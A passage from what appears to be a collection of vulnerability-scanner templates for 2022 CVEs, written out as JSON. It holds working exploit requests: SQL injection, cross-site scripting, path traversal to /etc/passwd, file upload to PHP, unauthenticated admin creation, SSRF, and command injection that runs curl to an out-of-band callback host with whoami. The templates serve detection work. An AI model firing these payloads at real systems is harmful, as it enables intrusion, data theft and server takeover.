\"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/{{randstr}}\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\\\"}\"\n    }\n  ]\n}\n","GET /api/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"reason\":\"OK\"","\"status\":200"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["GET \\/([a-z-]+) HTTP"],"part":"interactsh_request"}]}]},{"id":"CVE-2022-29299","info":{"name":"SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\"\">","/Solar_History.php\" METHOD=\"post\">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28080","info":{"name":"Royal Event - SQL Injection","severity":"high"},"requests":[{"raw":["POST /royal_event/ HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 353\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD\n\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"username\"\n\n{{username}}\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"password\"\n\n{{password}}\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"login\"\n\n\n------WebKitFormBoundaryCSxQll1eihcqgIgD--\n","POST /royal_event/btndates_report.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD\n\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"todate\"\n\n1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(\"{{randstr}}\"),0x1,0x2),NULL-- -\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"search\"\n\n3\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"fromdate\"\n\n01/01/2011\n------WebKitFormBoundaryFboH5ITu7DsGIGrD--\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","words":["{{md5(\"{{randstr}}\")}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45362","info":{"name":"WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["paytm-payments.css"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4301","info":{"name":"WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Registration Form"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38296","info":{"name":"Cuppa CMS v1.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /js/jquery_file_upload/server/php/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"path\"\n\n/\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"unique_name\"\n\ntrue\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_width\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_height\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"crop\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"compress\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"files[]\"; filename=\"test-{{randstr}}.jpg\"\nContent-Type: image/jpeg\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI--\n","POST /js/filemanager/api/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"from\":\"//{{filename}}\",\"to\":\"//{{randstr}}.php\",\"action\":\"rename\"}\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["ed6bf8b1b4b8e64836455fe32b958c2c"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["\"name\":\"(.*?)\","],"internal":true}]}]},{"id":"CVE-2022-22963","info":{"name":"Spring Cloud - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /functionRouter HTTP/1.1\nHost: {{Hostname}}\nspring.cloud.function.routing-expression: T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")\nContent-Type: application/x-www-form-urlencoded\n\n{{rand_base(8)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http","dns"],"condition":"or"},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-0769","info":{"name":"Users Ultra <= 3.1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"You have to be logged in to leave your rate\")"],"condition":"and"}]}]},{"id":"CVE-2022-21371","info":{"name":"Oracle WebLogic Server Local File Inclusion","severity":"high"},"requests":[{"method":"GET","raw":["GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n\n"],"payloads":{"path":[".//WEB-INF/weblogic.xml",".//WEB-INF/web.xml"]},"stop-at-first-match":true,"unsafe":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body, \"\")","contains(body, \"\")"],"condition":"or"},{"type":"dsl","dsl":["contains(header, \"text/xml\")","contains(header, \"application/xml\")"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0827","info":{"name":"WordPress Best Books <=2.6.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code == 200","contains(body, \"Account added successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-32195","info":{"name":"Open edX <2022-06-06 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["click here to go to"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34328","info":{"name":"PMB 7.3.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["' target='cart_info"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4260","info":{"name":"WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1\nHost: {{Hostname}}\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes\n","GET / HTTP/1.1\nHost: {{Hostname}}\nReferer: XSS\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(body_4, \"\")","contains(content_type_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-28955","info":{"name":"D-Link DIR-816L - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/category_view.php","{{BaseURL}}/folder_view.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["SharePort Web Access"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-27593","info":{"name":"QNAP QTS Photo Station External Reference - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."],"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["!function(p,qa){","module.exports","application/javascript"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0381","info":{"name":"WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["url: \"xss://\"-alert(document.domain)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0864","info":{"name":"UpdraftPlus < 1.22.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/options-general.php?page=updraftplus&updraft_interval\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","updraftplus"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31975","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=user/manage_user&id=-6%27%20union%20select%201,md5('{{num}}'),3,4,5,6,7,8,9,10,11--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0422","info":{"name":"WordPress White Label CMS <2.2.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php?wlcms-action=preview HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nwlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert(/XSS/);"]},{"type":"word","part":"body","words":["wlcms-login-wrapper"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1386","info":{"name":"WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\naction=fusion_form_update_view\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"formData\"\n\nemail=example%40example.com&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva\ncy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data=\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"action\"\n\nfusion_form_submit_form_to_url\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusion_form_nonce\"\n\n{{fusionformnonce}}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"form_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"post_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"field_labels\"\n\n{\"email\":\"Email address\"}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"hidden_field_names\"\n\n[]\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionAction\"\n\nhttps://oast.me\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionActionMethod\"\n\nGET\n-----------------------------30259827232283860776499538268--\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Interactsh Server"]},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"fusionformnonce","internal":true,"xpath":["//*[@id=\"fusion-form-nonce-0\"]"],"attribute":"value","part":"body_1"}]}]},{"id":"CVE-2022-1058","info":{"name":"Gitea <1.16.5 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect_to=//interact.sh\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["//interact.sh"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-31982","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=requests/view_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Request Detail\")"],"condition":"and"}]}]},{"id":"CVE-2022-29303","info":{"name":"SolarView Compact 6.00 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nPOST /conf_mail.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M\n"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0"]}]}]},{"id":"CVE-2022-0788","info":{"name":"WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\": \"(SELECT 1 FROM (SELECT(SLEEP(6)))me)\", \"formid\": \"1\", \"type\": \"online_payment\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"Invalid payment.\")"],"condition":"and"}]}]},{"id":"CVE-2022-36642","info":{"name":"Omnia MPX 1.5.0+r1 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd","{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["\"username\":","\"password\":","\"mustChangePwd\":","\"roleUser\":"],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0"]}]}]},{"id":"CVE-2022-24260","info":{"name":"VoipMonitor - Pre-Auth SQL Injection","severity":"critical"},"requests":[{"raw":["POST /api.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmodule=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"success\":true","_vm_version","_debug"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["PHPSESSID"]}]}]},{"id":"CVE-2022-0952","info":{"name":"WordPress Sitemap by click5 <1.0.36 - Missing Authorization","severity":"high"},"requests":[{"raw":["POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"1\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"default_role\":\"administrator\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"0\"}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header, \"application/json\")","status_code == 200","contains(body_1, 'users_can_register')","contains(body_2, 'default_role')"],"condition":"and"}]}]},{"id":"CVE-2022-3768","info":{"name":"WordPress WPSmartContracts <1.3.12 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=5","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"Batch Mint NFTs\")"],"condition":"and"}]}]},{"id":"CVE-2022-34048","info":{"name":"Wavlink WN-533A8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x\");alert(9);x=(\"&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["x\");alert(9);x=(\"?login=0\");"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43016","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=toolbar&callback=&a=authenticate HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["EVAL=","cats_connected"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43769","info":{"name":"Hitachi Pentaho Business Analytics Server - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{interactsh-url}}')}&mgrDn=a&pwd=a"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["false"]},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2022-1054","info":{"name":"WordPress RSVP and Event Management <2.7.8 - Missing Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RSVP Status","\"First Name\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28363","info":{"name":"Reprise License Manager 14.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Login Failed"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31980","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=teams/manage_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Control Teams\")"],"condition":"and"}]}]},{"id":"CVE-2022-0189","info":{"name":"WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nid=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29153","info":{"name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["PUT /v1/agent/check/register HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\":\"{{randstr}}\",\"name\":\"TEST NODE\",\"method\":\"GET\",\"http\":\"http://example.com\",\"interval\":\"10s\",\"timeout\":\"1s\",\"disable_redirects\":true}\n","PUT /v1/agent/check/deregister/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["unknown field \"disable_redirects\""]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-46169","info":{"name":"Cacti <=1.2.22 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}'; HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: 127.0.0.1\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"value\":","\"local_data_id\":"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1439","info":{"name":"Microweber <1.2.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
\n------WebKitFormBoundaryoLtdjuqj2ixPvBhA\nContent-Disposition: form-data; name=\"CSRF_token\"\n\n{{csrf}}\n------WebKitFormBoundaryoLtdjuqj2ixPvBhA--\n","GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_4 == 200","contains(content_type_4, \"text/html\")","contains(body_4, \"a63fd49130de6406a66600cd8caa162f\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"CSRF_token\" value=\"([0-9a-zA-Z]+)\"/>"],"internal":true}]}]},{"id":"CVE-2022-1815","info":{"name":"Drawio <18.1.2 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /service/0/test.oast.me HTTP/2\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, 'Interactsh Server')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2022-29006","info":{"name":"Directory Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /admin/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=admin' or '1'='1&password=1&login=login\n","GET /admin/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DMS || Dashboard","DMS Admin","Admin Profile"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0595","info":{"name":"WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161\n\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"size_limit\"\n\n10485760\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"action\"\n\ndnd_codedropz_upload\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"type\"\n\nclick\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"upload-file\"; filename=\"{{randstr}}.svg\"\nContent-Type: image/jpeg\n\n\n-----------------------------92633278134516118923780781161--\n","GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"alert(document.domain)\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-25369","info":{"name":"Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"Success\": true","\"Success\":true"],"condition":"or"},{"type":"word","part":"header","words":["application/json","ASP.NET_SessionId"],"condition":"and","case-insensitive":true},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28023","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Master.php?f=delete_supplier HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid=aman'+AND+(SELECT+2844+FROM+(SELECT(SLEEP(6)))FDTM)+AND+'sWZA'='sWZA\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-45917","info":{"name":"ILIAS eLearning <7.16 - Open 